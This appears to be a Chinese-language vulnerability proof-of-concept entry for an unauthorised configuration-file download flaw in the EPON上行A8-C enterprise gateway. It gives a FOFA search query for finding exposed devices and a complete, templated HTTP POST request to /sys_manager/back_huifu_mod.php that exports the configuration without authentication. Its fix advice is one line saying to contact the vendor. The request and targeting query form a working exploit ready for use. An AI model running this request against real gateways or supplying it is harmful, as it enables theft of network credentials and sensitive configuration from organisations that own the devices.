Nx01 产品简介
EPON上行A8-C政企网关是一款终端产品,提供企业网络解决方案。
Nx02 漏洞描述
EPON上行A8-C政企网关配置文件未授权下载漏洞,攻击者在未授权状态下下载配置文件,获取配置文件内敏感信息。
Nx03 产品主页
fofa-query: "ZXECS" && title=="Web user login"
Nx04 漏洞复现
POC:
POST /sys_manager/back_huifu_mod.php?index_name= HTTP/1.1
Host: {{Hostname}}
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
submit_sys=%E5%AF%BC%E5%87%BA
Nx05 修复建议
建议联系软件厂商进行处理。